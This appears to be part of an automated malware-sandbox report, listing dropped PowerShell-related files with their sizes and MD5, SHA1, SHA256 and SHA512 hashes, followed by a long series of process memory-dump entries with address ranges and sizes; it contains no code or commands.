84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7888d512a027fd6fe981671037531ea0

SHA1
f9a0bd55f73835cb3f753fa0c04e0897ad111e6d

SHA256
45af4e639b95cc4c290129f49fc14ae02507a6976c33125f4e9a851d0240b1de

SHA512
c84c137dc3ac61e91e3c90685b5f84c71622a3895c73c2ec29acafdcc895610c4bc17e60ff41bc594c8f01b2e40932120a95203b827336d22354f2ef00499927

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3vllguql.rg0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/784-80-0x000001F93DDF0000-0x000001F93DE0A000-memory.dmp

Filesize
104KB

Download
memory/784-63-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/784-79-0x000001F93DD90000-0x000001F93DD9A000-memory.dmp

Filesize
40KB

Download
memory/784-78-0x000001F93DDB0000-0x000001F93DDCC000-memory.dmp

Filesize
112KB

Download
memory/784-77-0x000001F93D920000-0x000001F93D92A000-memory.dmp

Filesize
40KB

Download
memory/784-75-0x000001F93DB70000-0x000001F93DB8C000-memory.dmp

Filesize
112KB

Download
memory/784-76-0x000001F93DB90000-0x000001F93DC45000-memory.dmp

Filesize
724KB

Download
memory/784-87-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/784-65-0x000001F9230B0000-0x000001F9230C0000-memory.dmp

Filesize
64KB

Download
memory/784-81-0x000001F93DDA0000-0x000001F93DDA8000-memory.dmp

Filesize
32KB

Download
memory/784-84-0x000001F9230B0000-0x000001F9230C0000-memory.dmp

Filesize
64KB

Download
memory/784-82-0x000001F93DDD0000-0x000001F93DDD6000-memory.dmp

Filesize
24KB

Download
memory/784-83-0x000001F93DDE0000-0x000001F93DDEA000-memory.dmp

Filesize
40KB

Download
memory/784-64-0x000001F9230B0000-0x000001F9230C0000-memory.dmp

Filesize
64KB

Download
memory/1812-0-0x00007FF7DCE50000-0x00007FF7DD061000-memory.dmp

Filesize
2.1MB

Download
memory/1812-36-0x00007FF7DCE50000-0x00007FF7DD061000-memory.dmp

Filesize
2.1MB

Download
memory/3496-28-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3496-29-0x0000021FF1940000-0x0000021FF1950000-memory.dmp

Filesize
64KB

Download
memory/3496-34-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3496-32-0x0000021FF1940000-0x0000021FF1950000-memory.dmp

Filesize
64KB

Download
memory/3496-31-0x0000021FF1940000-0x0000021FF1950000-memory.dmp

Filesize
64KB

Download
memory/3496-30-0x0000021FF1940000-0x0000021FF1950000-memory.dmp

Filesize
64KB

Download
memory/3612-122-0x00007FF7CB160000-0x00007FF7CB371000-memory.dmp

Filesize
2.1MB

Download
memory/3612-53-0x00007FF7CB160000-0x00007FF7CB371000-memory.dmp

Filesize
2.1MB

Download
memory/3788-52-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3788-46-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3788-48-0x000001ABDB9D0000-0x000001ABDB9E0000-memory.dmp

Filesize
64KB

Download
memory/3788-47-0x000001ABDB9D0000-0x000001ABDB9E0000-memory.dmp

Filesize
64KB

Download
memory/3872-12-0x000001DF04290000-0x000001DF042A0000-memory.dmp

Filesize
64KB

Download
memory/3872-13-0x000001DF04290000-0x000001DF042A0000-memory.dmp

Filesize
64KB

Download
memory/3872-11-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-16-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-10-0x000001DF1E9C0000-0x000001DF1E9E2000-memory.dmp

Filesize
136KB

Download
memory/4624-115-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/4624-101-0x000001DA5DCF0000-0x000001DA5DD00000-memory.dmp

Filesize
64KB

Download
memory/4624-100-0x000001DA5DCF0000-0x000001DA5DD00000-memory.dmp

Filesize
64KB

Download
memory/4624-99-0x00007FFBAD030000-0x00007FFBADAF1000-memory.dmp

Filesize
10.8MB

Download
memory/4624-112-0x000001DA5DCF0000-0x000001DA5DD00000-memory.dmp

Filesize
64KB

Download
memory/4624-102-0x00007FF478950000-0x00007FF478960000-memory.dmp

Filesize
64KB

Download
memory/4624-113-0x000001DA5DCF0000-0x000001DA5DD00000-memory.dmp

Filesize
64KB

Download
memory/4976-126-0x00007FF695690000-0x00007FF6956A6000-memory.dmp

Filesize
88KB

Download
memory/4976-132-0x00007FF695690000-0x00007FF6956A6000-memory.dmp

Filesize
88KB

Download
memory/5100-136-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-154-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-125-0x0000018554900000-0x0000018554920000-memory.dmp

Filesize
128KB

Download
memory/5100-129-0x0000018565400000-0x0000018565420000-memory.dmp

Filesize
128KB

Download
memory/5100-128-0x0000018554DD0000-0x0000018554DF0000-memory.dmp

Filesize
128KB

Download
memory/5100-131-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-123-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-133-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-134-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-124-0x0000018554890000-0x00000185548B0000-memory.dmp

Filesize
128KB

Download
memory/5100-137-0x0000018554DD0000-0x0000018554DF0000-memory.dmp

Filesize
128KB

Download
memory/5100-138-0x0000018565400000-0x0000018565420000-memory.dmp

Filesize
128KB

Download
memory/5100-140-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-142-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-144-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-146-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-148-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-150-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-152-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-127-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-156-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-158-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-160-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-162-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-164-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-166-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-168-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-170-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-172-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-174-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-176-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-178-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-180-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-182-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-184-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-186-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download
memory/5100-188-0x00007FF600280000-0x00007FF600A74000-memory.dmp

Filesize
8.0MB

Download